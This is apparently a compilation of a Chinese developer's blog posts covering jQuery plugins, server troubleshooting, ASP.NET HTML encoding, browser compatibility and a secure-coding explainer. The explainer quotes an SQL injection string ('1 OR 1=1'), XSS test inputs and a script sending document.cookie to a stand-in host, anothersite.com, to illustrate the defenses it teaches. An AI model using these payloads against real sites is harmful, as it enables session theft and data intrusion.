HTML5 Sortable 是一款使用原生 HTML5 drag 和 drop API 来对列表或网格进行排序的 jQuery 插件。
下载和使用：官网
步骤：
1、给 <ul /> 添加 sortable 样式类
2、引入 jquery.sortable.js
3、$('.sortable').sortable();
通过绑定 sortupdate 事件来获取排序后的 DOM 位置，示例：
$('.sortable').sortable().bind('sortupdate', function (event, ui) {
var item = $(ui.item[0]);
var prev = item.prev();
$.post(window.location.pathname, {
xdo: 'fn_sort',
cid: item.data('cid'),
prev: prev.data('cid') // 可能为 undefined
}, function (json) {
if (json.result.success) {
} else {
toastr['error'](json.result.info);
}
}, 'json');
});
本文不定时更新！
A： MySQL 执行 SHOW FULL PROCESSLIST
Q： 查看连接数和慢查询，适用于 MySQL 数据库无法连接 1040
A： iftop -i eth0
Q： 查看占用带宽的IP（命令：iftop -i eth0 -F ip/24），添加到安全组、防火墙、宝塔的黑名单中。
命令 grep -l "x.x.x.x" /www/wwwlogs/*.log 可以在 wwwlogs 目录下的所有 .log 文件中查找指定的恶意 IP。
A： goaccess -f xxx.log
Q： 实时分析网站日志，查看请求最多的IP
A： net.xoyozo.weblog 日志分析工具
Q： 自制的 Web 日志分析工具，可按多种方式排序，纠出可疑访问
A： 重启 web 服务器
Q： 有时候能解决 CPU 和内存消耗的问题，如果一会儿又升高，则需要找另外的原因
Q： 500 服务器内部错误
502 Bad Gateway
504 Gateway Time-out
A： 查看 php 日志，可能的路径：
/usr/local/php/var/log/php-fpm.log
/www/server/php/[版本]/var/log/php-fpm.log
Q： RDS MySQL IOPS 使用率高的原因和处理
A： 根据时间点查看慢查询
Q： Discuz! 论坛界面错乱、表情不显示、模块缺失、登录失败、发帖失败等等
A： 进入管理中心 - 工具 - 更新缓存，能解决大部分问题
Q： Discuz! 浏览帖子提示“没有找到帖子”
A： 进入数据库，修复表 pre_forum_post 或分表
Q： CPU 100% 或内存 100%，负载100+
A： 原因有很多，以下是一些建议：
Windows 在任务管理器中查看进程
当前是否有正常的大流量访问（譬如民生类论坛的某个帖子突然火了）特别是重启无效的情况
对比网站日志大小可大致确定哪个网站被大量恶意请求。
观察：命令 top
排查：通过关闭网站来确定是某网站的问题，通过关闭功能确定是某功能的问题，如果 nginx 崩溃请参下条
案例：通过修改 mobcent 文件夹名确定是安米的文件被疯狂请求导致的，更新插件和 mobcent 包解决问题。
如果都是正常访问，top 看到很多 php-fpm，而且个个占用 CPU 还不小，那么根据服务器硬件配置来修改 php 的并发量，如宝塔面板在 php 设置 - 性能调整 页，300 并发方案的推荐配置是：
max_children：300
start_servers：30
min_spare_servers：30
max_spare_servers：180另外，memcached 或 redis 的配置也可以进行相应的修改。
另一个案例是 kswapd0 进程占满 CPU，原因是内存不足导致 swap 分区与内存频繁交换数据。同样调整 php 的设置即可。
也可以通过 iftop 来查询占用带宽较多的 IP 并封禁（出方向），如果 CPU 能降下来，那这个 IP 就是罪魁祸首。
Q： 阿里云 ECS 的 CPU 突然达到 100%，并持续到次日 0:00 左右
A： 可能 ECS 是 t5 规格，受 CPU 积分制度限制，积分耗尽时 CPU 不工作。解决方法是更换其它规格产品或升配。
Q： ASP.NET 所在服务器 CPU 突然达到 50% 或 100%，并持续
A： 首先确定哪个网站，再依次排查网站各功能。可能是 HttpWebRequest 请求远程数据时长时间未返回结果导致的程序阻塞。
Q： nginx 服务停止
A： 查看 nginx 日志
WDCP 路径：/www/wdlinux/nginx-1.0.15/logs/error.log
Q： 公网出带宽 100%，其它指标正常
A： Windows 在任务管理器-性能-资源监视器-网络 查看占用带宽的进程PID，然后在任务管理器-详细信息中的找到对应的用户（如果为每个网站分别创建了用户，就能知道是哪个网站占用了带宽）；如果是被 PID 为 4 的 System 占用大部分带宽，也可以尝试重启 IIS 来解决。
CentOS 使用 nethogs 查看占用带宽的进程PID和USER，如果为每个网站分别创建了用户，就能知道是哪个网站占用了带宽，否则只能一个个关闭网站来判断，不知道大家有没有好的方法？当然还可以直接用 iftop 命令查看占用带宽的 IP。另外，查看每个网站在那个时间段的日志文件的大小也能大概看出是哪个网站被采集了。
A： Linux 显示每个用户会话的登入和登出信息
utmpdump /var/log/wtmp
参考：http://www.tulaoshi.com/n/20160331/2050641.html
Q： RDS 的 CPU 100%
A： 如果是突然持续占满（同时伴随 ECS 资源使用率下降，页面出现 502），很大可能是受攻击（或社交网站推送突发事件等），查看“慢查询”，添加相关索引；如果是 Discuz! 论坛，可尝试修复优化表 pre_common_session。
如果是数日缓步上升，或新项目上线，考虑 SQL 慢查询，思路：MySQL / SQL Server。
MySQL：SHOW FULL PROCESSLIST
SQL Server：sp_who
Q： php 网站的服务器，内存在数天内缓慢上升
A： 大概是 php-fpm 占用过多，或进程数太多
更改 php 的配置（如 max_spare_servers），执行：service php-fpm reload
Q： 进程 cloudfs 占用内存过多
A： 参：https://xoyozo.net/Blog/Details/cloudfs-cache
Q： RDS 磁盘占用过大
A： 参：https://xoyozo.net/Blog/Details/how-to-use-rds
Q： ECS 受到 DDoS 攻击怎么办？
A： 参：https://xoyozo.net/Blog/Details/aliyun-ddos-without-bgp
Q： 如果 ECS 和 RDS 各项指标都没有异常，但网页打开慢或打不开502，TTFB 时间很长，是什么原因？（ECS 的 CPU 100%，RDS 的连接数上升，也可参考此条）
A： 数据库有坏表，尝试优化/修复表（慢 SQL 日志中锁等待时间较长的表？），或主备切换。show full processlist 时看到许多
DELETE FROM pre_common_session WHERE sid='******' OR lastactivity<****** OR (uid='0' AND ip1='*' AND ip2='*' AND ip3='*' AND ip4='*' AND lastactivity>******)
Q： Discuz! 创始人(站长)密码被改
A： 数据库找到 pre_ucenter_members 表，复制其它的已知登录密码的账号，复制其 password 和 salt 两个字段的值到创始人账号中，创始人账号即可用该密码登录了。
Q： 通过 iftop 观察到，Discuz! 网站从 RDS 数据库到 ECS 网站服务器私网流量非常大，远大于公网流量
A： 可能是缓存出问题了，尝试卸载重装 Redis 来解决。
Q： 宝塔面板中安装的 Redis 经常自动停止
A： 尝试卸载重装 Redis 来解决。
Q： 马甲客户端出现“您的网络有些问题”
A： 原因有许多，其中一个就是新建了一个数据表，然后 /source/class/table/ 下面丢失了对应的文件，具体可以找官方排查原因。
Q： 排查服务器安全需要检查哪些日志？
A： Web日志、登录日志（/var/log/secure）等。
Q： 带宽波形以几分钟为周期呈锯齿状波动是什么原因？
A： 该现象主要由防火墙流量管控机制与检测周期设置共同作用所致。防火墙基于预设的带宽阈值执行安全防护策略，当检测到流量峰值超过设定阈值时，将自动触发限流策略拒绝后续请求。待流量回落至安全阈值后，系统自动恢复服务访问权限。若防火墙的带宽采样检测周期设置过长（如以分钟为单位的检测间隔），将导致系统对实时流量变化的响应出现迟滞。这种周期性的检测机制会使带宽监控数据在阈值临界点附近呈现规律性的锯齿状波动特征。
优化建议：可通过调整防火墙的流量检测周期至更小时间粒度（如10-15秒），或采用动态流量整形策略，以实现更平滑的带宽控制效果。
补充说明：对于阿里云监控数据的调用，建议注意接口调用频率管控。高频调用云监控API接口将触发阿里云的API计费策略，可能产生额外的资源消耗成本。
其它案例
某台 ECS 上的多个网站出现 502，查询到 CPU / 内存 / 带宽 都比平时高，但都未满。用 iftop 看到连接的一个远程 Redis 占用内网带宽非常高。尝试重启远程 Redis 未果。尝试重启 ECS 上的 nginx 未果。尝试重启 ECS 未果。进入 ECS 的宝塔面板，重启 PHP 有效。
示例：
<form action="javascript:fn_submit()">
<div>
手机号码：
<input type="tel" required="required" pattern="1\d{10}" title="手机号码由以1开头的11位数字组成" />
</div>
<div>
身份证号码：
<input type="text" required="required" pattern="\d{17}[\dX]" title="身份证号码由18位数字或17位数字加字母X组成" />
</div>
<div>
<input type="submit" value="提交" />
</div>
</form>
<script>
function fn_submit() {
alert('执行了方法“fn_submit()”，可以使用 ajax 提交数据');
}
</script>form 的 action 使用 javascript 调用 fn_submit 方法，在这个方法内可以使用 jQuery 的 ajax 来 POST 数据，当然还可以搭配使用 HTML5 的 FormData。这样相比于直接在 submit 按钮上写事件的好处是可以用到 HTML5 的表单验证功能，并且不会重载页面。
Vue 版本：
<form v-on:submit="fn_submit" method="dialog">
</form>var app = new Vue({
el: '#app',
methods: {
fn_submit: function () {
alert('执行了方法“fn_submit()”，可以使用 ajax 提交数据');
}
}
});互联网项目里边，SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久，然而直到今天还有人不断中枪，也真是微醺。
这几个漏洞说大也大，说小也小。说大是说这些漏洞危害大，会导致数据层面的安全问题；说小是从技术层面上讲都是未对外部输入做处理导致的，想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。
SQL 注入
SQL 注入之所以存在，主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说，有一个接受参数为 id 的页面，在接收到id后从数据库中查询相应的数据， 其代码大致如下：
string SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];
正常情况下，Request["ID"] 为数字，这条 SQL 能很好地工作。如果我们认为修改 Request["ID"]，将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL：
SELECT * FROM [User] WHERE ID=1 OR 1=1
因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞，我们能够获取想要的信息，同时可以通过猜测-报错获取到数据库其它表的结构和信息，如果数据库、服务器权限设置不当，甚至有可能能获取到整个服务器的控制权限。
规避这种漏洞有很多种办法，以现代的编程语言来说，选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。
如果因为某些原因需要继续写 SQL 语句，参数化查询也能解决这一问题。
对于需要拼接 SQL 语句的程序来说，注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型，在拼接 SQL 前先判断输入是不是一个合法的数字，不合法则终止程序即可。第二点是如果字段类型是字符串，则记得将输入里的单引号进行转义。
XSS 攻击
如果说 SQL 注入是直接在 SQL 里执行了用户输入，那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入，XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝；3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。
这里还是用 SQL 注入中的例子来说，假设页面输出为：
<div><%= Request["ID"] %></div>
这里我们可以在 Request["ID"] 里传入一段编码后的脚本，在最终输出的时候，就变成了一段可执行的 javascript 代码。
<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>
这段代码获取到当前页面的 cookie 值，并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式，黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。
XSS 攻击也可以简单分为两种，一种是上述例子中利用 url 引诱客户点击来实现；另一种是通过存储到数据库，在其它用户获取相关信息时来执行脚本。
防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode（或者在输出时进行 encode）。如果需要使用富文本编辑的，可以考虑使用 UBB。
猜测 URL 攻击
猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。
以 Request["ID"] 为例，如果 ID 为 1 是合法的可访问的数据，可以通过尝试 ID=2，ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当，则可以轻松获得并修改数据。
要避免这种问题，方案一是使用较长的无规律的数字、字符来做为 ID，增大猜测难度；对于需要登录的程序，可以判断用户身份是否有对应 ID 数据的访问、修改权限；如果 ID 已经是自增类型且不需要登录，可以用过在 URL 里增加无规律的校验字段来避免。
其它需要注意的地方
安全是一个系统工程。
要提高系统安全性，最首要的一点是不要相信任何输入！不要相信任何输入！不要相信任何输入！重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数，还包括 COOKIE、Header 等可以进行修改的各类信息。
在程序设置方面，不输出客户不需要知道的各类信息，如原始的异常信息、异常附近的代码段等等，这样也能增加不少安全性。
最后，在测试或系统运行的过程中，可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。
XSS （跨站脚本攻击）虽然手段初级，但网站开发者稍不留神就会给黑客留下机会。在 ASP.NET 中，默认阻止了表单文本中的危险字符（譬如 HTML 标签），但有时为了功能需求，我们需要在服务端获取用户输入的任何文本或者富文本编辑器的内容，那么首先应该使用 JS 将数据进行 HTML 编码。
将以下测试文本填入到多行文本框内：
&a=1
'">ABC<'"
</pre>PRE<pre>
</textarea>AREA<textarea>
<script>alert(1)</script>
或将以下测试文本填入到单行文本框内：
&a=1'">a< /input>b<input value='"c<script>alert(1)</script>
使用 jQuery 异步 POST 方式提交到服务端：
$.post("post.aspx", {
myData: $("#myTextarea").val()
}, function (data) {
console.log(data);
}, 'text');这时，post.aspx 将返回 500 内部服务器错误：
从客户端(......)中检测到有潜在危险的 Request.Form 值。
将提交代码稍作改动，把 POST 数据进行 HTML 编码：
$.post("post.aspx", {
myData: $('<div />').text($("#myTextarea").val()).html()
}, function (data) {
console.log(data);
}, 'text');这样，服务端接收到的 myData 值应该是：
&a=1
'">ABC<'"
</pre>PRE<pre>
</textarea>AREA<textarea>
<script>alert(1)</script>
顺利通过 ValidateRequest 的检验。
我们在服务端对其进行一次 HTML 解码。
string myData = HttpUtility.HtmlDecode(Request.Form["myData"]);
// 接收时，去首尾空格、去 null
string myData = HttpUtility.HtmlDecode(Request.Form["myData"]?.Trim() ?? "");客户端的编码和服务端的解码是一对互操作。
我们把用户输入的原始内容存入数据库中。
页面输出时，必须要经过 HTML 编码，否则内容将被解释成 HTML，出现跨站攻击漏洞。下面列出常见的输出到页面的方法（注意区分 <%= 与 <%:，<%# 与 <%#:）。这样，浏览器中查看源代码看到的即是 HTML 编码的内容，渲染后看到的即是原本在输入框中输入的原文。
// WebForm 输出到 div
<div><%: myData %></div>
// WebForm 输出到 pre
<pre><%: myData %></pre>
// WebForm 输出到文本脚本
<script type="text/plain"><%: myData %></script>
// WebForm 输出到单行文本框
<input type="text" value='<%: myData %>' />
// WebForm 输出到多行文本框
<textarea><%: myData %></textarea>
// WebForm 赋值到 <asp:TextBox /> （不需要手动 HtmlEncode）
input_myData.Text = myData;
// WebForm 绑定到数据控件
<%#: Eval("myData") %>
// MVC Razor
@Html.DisplayFor(model => model.myData)
// 或
@Model.myData<%: 会自动替换 " 和 ' 为 " 和 '，不用担心输出到 <input /> 的 value 属性中会产生问题。
如果数据由 <textarea /> 提供并希望在输出时保持换行，那么先执行 HtmlEncode，再替换换行符：
// WebForm 输出到 div
<div><%= HttpUtility.HtmlEncode(myData)?.Replace(" ", " ").Replace("\r\n", "<br />").Replace("\r", "<br />").Replace("\n", "<br />") %></div>
// WebForm 输出到 pre（无须处理换行）
<pre><%: myData %></pre>
// WebForm 绑定到数据控件
<%# HttpUtility.HtmlEncode(Eval("myData"))?.Replace(" ", " ").Replace("\r\n", "<br />").Replace("\r", "<br />").Replace("\n", "<br />") %>更特殊的例子：
// WebForm 输出到 Highcharts
var chart = Highcharts.chart('container', {
title: {
text: $('<div />').html('《<%: exam.title.Replace("\r", "").Replace("\n", "") %>》问卷回收量').html()
},
...
});
// 导出 Excel 时指定文件名（会自动替换非法字符）
Response.AddHeader("Content-Disposition", string.Format("attachment; filename={0}.xls", exam.title));如果我们使用在线编辑器来编辑我们的内容，需要在浏览输出时实现“所见即所得”，那么就需要将原文输出到源代码，渲染后展示效果：
// ASPX
<%= myData %>
// Razor
@Html.Raw(Model.myData)务必保证是网站编辑人员在授权登录下提交在线编辑器的内容，否则可能成为跨站攻击的漏洞。通常不建议普通网友使用在线编辑器，如一定要用，必须处理一些危险的标签，参此文。
总结
客户端输入的原文，经过 JS 的 HTML 编码传输到服务器，HTML 解码后存入数据库，读取展示时 HTML 编码输出（在线编辑器的内容不需要编码）。
建议
如果我们对所有输入的字符串作以上编码解码的处理想必是非常繁琐且容易出错的。微软提供了 ValidateRequest，不用不是太浪费了？
对于普通的文本框输入，我们省略 JS 端的 HTML 编码，省略服务端的 HTML 解码即可，输出仍然按文中描述处理。
好的用户体验是在 Request.Form["xxx"] 时进行容错处理并返回客户端友好提示。
我们仅针对在线编码器及需要以代码为内容的数据提交进行编码、解码处理，以绕过 ValidateRequest。
顺便提一下，千万不要这样写：
<%= Request.QueryString["xxx"] %>千万不要动态拼接 SQL 语句，防止 SQL 注入。
兼容建议：（2017年初）
连淘宝都放弃 IE6 了，就不需要再坚持了；
IE7 跟错了老大（Vista），已经没有市场了；
当前市场份额最大的操作系统还是 Win7，所以 IE8 是必须要兼容的，就算国人都安装了国产浏览器，内核也未必会升到 IE9-11。
当然每个站的访客群体不同，具体还得参考网站统计数据来确定兼容级别。
为了友好，建议你在不打算兼容的浏览器上提供升级提示和新版下载链接。
如果是纯移动端，那么大胆地用 HTML5 就行了。
以下例举我遇到过的兼容问题：
| 浏览器版本 | 注意事项 |
| IE6-7 | <input type="radio" /> 必须设置 name 才能被选中 |
| IE6-7 | 不支持 console.log |
| IE6-7 | 不支持 JSON.stringify |
| 所有 IE | 不支持 <input /> 新的 type 类型，查看详情 |
最近要做个简单的类似 CNZZ 和百度统计的统计器，不可避免地遇到 JS 文件异步加载 和 给 JS 文件传参 的问题。
参考了 CNZZ 的代码以后，在 Chrome 的控制台发现以下警告：
A Parser-blocking, cross-origin script, http://s4.cnzz.com/stat.php?***, is invoked via document.write. This may be blocked by the browser if the device has poor network connectivity. See https://www.chromestatus.com/feature/5718547946799104 for more details.
Paul Kinlan 给出了解释，是因为使用了 document.write() 的方式输出了 <script src="***" /> HTML DOM，建议改成 document.appendChild() 或 parentNode.insertBefore()，最好的例子就是 Google Analytics。
<!-- Google Analytics -->
<script>(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');
</script>
<!-- End Google Analytics -->上述 JavaScript 跟踪代码段可以确保该脚本在所有浏览器中加载和异步执行。
加了一些注释，便于理解，官方英文版。
(function (i, s, o, g, r, a, m) {
i['GoogleAnalyticsObject'] = r;
// console.log(window['GoogleAnalyticsObject']) // 'ga'
// console.log(i[r]) // undefined
i[r] = i[r] || function () { // i[r] 就是 window['ga']，定义了一个函数
(i[r].q = i[r].q || []).push(arguments) // 往 ga.q 这个数组中增加一项
},
i[r].l = 1 * new Date(); // 时间戳，写法等同于 new Date().getTime()
// console.log(i[r]) // window['ga'] 就是上面那个 function
a = s.createElement(o), // 创建一个 script 元素
m = s.getElementsByTagName(o)[0]; // 文档中的第一个脚本（文档中肯定至少已有一个脚本了）
a.async = 1; // 异步加载
a.defer = 1; // 兼容旧浏览器（我自己加的）
a.src = g;
m.parentNode.insertBefore(a, m) // 将 a 脚本插入到 m 脚本之前
})(window, document, 'script', 'http://***/***.js', 'ga');
// i s o g r
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');过程是：
创建了一个 <script> 元素，并异步加载 http://***/***.js；初始化了一个全局函数 ga；在 ga() 命令队列中添加了两条命令。
现在我们可以在这个外部 js 中使用 ga.q 这个对象中的数据了，示例：
;(function () {
console.log(ga.q);
})(window);简单补充下，async 是 HTML5 属性，使支持异步加载 JS 文件；defer 只支持 IE，作用类似。
测试异步只需要将 js 文件换成服务端页面，并人为设置 sleep 时间即可，阻塞式调用的话会在加载 js 时暂停后续页面的渲染。
收录了一些个人觉得不错的网页开发插件。
由于插件更新频繁，本页如有错误请指正，也欢迎告知更多功能强大、使用方便的插件。
| 插件 | 简介 | 备注 |
| 框架 | ||
| jQuery | 最流行的 JS 框架 | 下载、中文文档、英文整合文档、中文整合文档，浏览器支持、来自 css88 的文档 官方建议 IE 6-8 使用 1.12.4 |
| Angular、中文版 AngularJS (version 1.x) | 一套框架，多种平台同时适用手机与桌面 | MVC 架构，使得开发现代的单一页面应用程序（SPAs：Single Page Applications）变得更加容易 |
| Vue.js | 是一套用于构建用户界面的渐进式框架。 | |
| Bootstrap、中文版 | 简洁、直观、强悍的前端开发框架 | 英文文档、v3中文文档、v2中文文档、视频教程，主题和模板 |
| jQuery UI | 为 jQuery 提供更丰富的功能 | 示例：Datepicker、Color Animation、Shake Effect |
| 功能 | ||
| jQuery File Upload | jQuery 文件上传 | 英文文档 |
| jQuery Cookie | 读取、写入和删除 cookie | 浏览器支持，文档 |
| json2.js | json 操作库 | 已弃用，旧 IE 用 jQuery 的 parseJSON，HTML 5 用 JSON.parse |
| Lightbox | 老牌图片浏览插件 推荐使用更强大的 Viewer.js | |
| Swiper、中文版 | 最现代的移动触摸滑块（Most Modern Mobile Touch Slider） | 英文文档，中文文档，旧浏览器支持版本：2.x.x，Swiper 2 英文文档，中文文档 |
| jquery-cropper | 图片裁剪 | |
| FastClick | 用于消除手机浏览器上触摸事件触发之间的 300 毫秒延迟 | 用法，不应用的场景 |
| PACE | 页面加载进度条 | 文档，IE8+ |
| toastr | jQuery 通知 | 文档 |
| Autosize | 一款小巧的，可自动调整 textarea 高度的独立脚本 | IE9+ |
| X-editable | 允许您在页面上创建可编辑元素 | 文档，Demo |
| select2 | 一款提供搜索过滤、自定义样式的下拉框插件 | |
| jQuery Tags Input | 标签输入框 | 用法 |
| Viewer.js | 图片浏览插件 | GitHub（viewerjs）、GitHub（jquery-viewer） jquery-viewer 是 viewerjs 的 jQuery 插件，即在 jQuery 环境中要同时引用这两个脚本。 |
| PDF.js | A general-purpose, web standards-based platform for parsing and rendering PDFs. | |
| 编辑器 | ||
| UEditor | 百度在线编辑器 | GitHub 下载、文档、ASP.NET 部署教程 |
| 日期时间 | ||
| bootstrap-datepicker | Bootstrap 日期选择器 | Online Demo |
| DateTimePicker | 日期时间选择 | |
| MultiDatesPicker | 多日期选择 | |
| FullCalendar | 日历日程事件工作表 | IE 9+, jQuery 2.0.0+ |
| TimeTo | 计时、倒计时 | |
| 图表 | ||
| D3.js | D3.js 是基于数据驱动文档工作方式的一款 JavaScript 函数库，主要用于网页作图、生成互动图形，是最流行的可视化库之一。 | |
| Highcharts、中文版 | 兼容 IE6+、完美支持移动端、图表类型丰富、方便快捷的 HTML5 交互性图表库 | 文档 |
| ECharts | 百度图表控件 | |
| AntV | 来自蚂蚁金服的专业、简单、无限可能的可视化解决方案 G2 - 专业易用的可视化类库 G2-mobile - 移动端高性能可视化类库 G6 - 关系图可视化类库 | 流程图, 关系图, 可视化规范, 地图, 河流图, 力导图, 网络图, UML图, 业务流程图, 时序图 |
| SyntaxHighlighter | 功能齐全的代码语法高亮插件（JS） | |
| 动态排名数据可视化 | 将历史数据排名转化为动态柱状图图表 开源代码，非插件，修改使用 | GitHub、视频教程、EV录屏、网页示例、视频效果 |
| 图标 | ||
| Font Awesome | 完美的图标字体 | IE 8+，v3.2.1 支持 IE 7，进阶用法（定宽/边框/动画/旋转/叠加） |
| Glyphicons | 图标字体 | 作为 Bootstrap 组件 |
| Iconfont | 阿里巴巴矢量图标库 | 用户可以自定义下载多种格式的 icon，也可将图标转换为字体，便于前端工程师自由调整与调用 |
| UI 框架 | ||
| WeUI | 同微信原生视觉体验一致的基础样式库 | Demo、Wiki |
| Apple UI Design Resources | 苹果用户界面设计资源 | |
各位站长好：
根据苹果相关通知，从2017年1月1日起，所有上架AppStore的应用必须支持https协议。
仍然采用HTTP传输的站点APP，将无法在AppStore被用户下载使用，也无法进行升级更新等工作。
官方视频
https://developer.apple.com/videos/play/wwdc2016/706/
相关新闻
http://www.chinaz.com/news/2016/1028/602635.shtml
根据AppStore审核要求，站长需要在2017年1月1日之前，在APP服务器全面部署https。
尽管不升级支持https后果严重，但诸位也不必太过担心，马甲根据要求为各位提供一份服务器升级https的技术文档，供您参考。
https的优点：
1. 相对于http，https可以确保数据在网络传输过程中不被篡改(如禁止运营商插入广告)，同时可以提升网站的安全性。
2. iOS可以实现微信内部浏览器直接启动并打开App对应页面。
APP网站升级https步骤：
1. 为APP域名申请购买SSL证书（可选免费型）；
2. 将SSL证书部署到APP站点。
https证书申请方法：
1. 进入阿里云（独立服务器客户可注册一个阿里云账号，无须购买阿里云主机）https证书申请页面 https://www.aliyun.com/product/security/markets/aliyun/product/cas
2. 购买https证书，选择免费类型，点击购买（无需实际付款)
3. 购买完成后，进入控制台-CA证书服务页面，找到证书订单，点击“补全”
4. 填写证书对应的域名信息，免费证书只能用于一个域名(请填写完整域名例如：test.magapp.cc 而不是 magapp.cc)
5. 继续补全证书信息，注意域名验证类型选择DNS，邮箱填写自己常用邮箱即可，稍后系统会往邮箱发送域名解析信息。
6. 下一步生成证书请求文件(CSR)，这里建议选择“系统生成CSR”，点击右侧创建，创建完成后，点击提交审核，开始申请https证书。
7. 稍后系统会向邮箱发送一份该邮件，邮件包含需要在域名管理后台解析的信息。
8. 到域名管理后台添加新的域名解析，注意解析类型为CNAME
9. 添加新域名解析完成后，系统会对您的申请进行审核（审核时间在几分钟到几个小时不确定），如果审核成功系统会为你签发https证书，失败也会有相关原因说明，如果失败可根据提示重新申请。
10. https证书申请成功后，下一步就可以下载并部署到APP服务器。
11. 点击下载后，可以根据阿里云提供的部署文档，进行相关的服务器部署工作。
12. 部署完成后，验证是否部署成功
第一步：使用https协议访问域名是否能正常访问，例如 https://test.magapp.cc
第二步：在线检测域名是否满足苹果审核要求，网址为：https://www.qcloud.com/product/ssl.html#userDefined10
填写自己申请https的域名
如果域名检测各项满足会显示如下图所示
部署注意事项：
1. https使用的是443端口而不是默认的80端口，需要在wdcp安全管理-iptables开启443端口。
2. https免费证书有效期为一年，请各位站长作好记录，提前重新申请。
3. 站点从http转到https完全过渡需要一段时间，建议在部署时站点同时支持http和https。
4. 部署过程遇到任何问题，可联系您的专属运维人员。
MAGAPP技术部
IIS 中如果直接“停止”网站，那么打开页面时会显示不友好的“该页无法显示”等界面，如果特殊原因要求不能打开所有页面，但必须有一个友好提示“网站维护中”的页面，那么最土的办法是把网站的所有文件移出来，仅上传一个提示正在维护的网页，并保证是默认首页。其实有一个更加简单有效的解决方案：
在 IIS 中单击该网站，打开“URL 重写”，右侧“添加规则”，选择“空白规则”。名称可以是“网站维护中”，请求的 URL 选择“与模式不匹配”，使用“完全匹配”，模式填入我们的提示页面地址，如“maintaining.html”，操作类型“重定向”，重定向 URL 填入刚才那个页面地址，附加查询字符串不需要，类型选择“临时(307)”，点击右侧“应用”。
好了，该网站的任何请求都会引导到 maintaining.html，而不仅仅是首页的跳转。而且不需要移动网站文件，也保障了不会被人利用网站漏洞攻击篡改网站内容。
补充一点，如果你的 maintaining.html 中调用了网站中的图片、脚本、样式表等，那么需要把模式匹配的方式改为“正则表达式”，并填入正确的正则表达式，以保证这些文件都能被正常请求。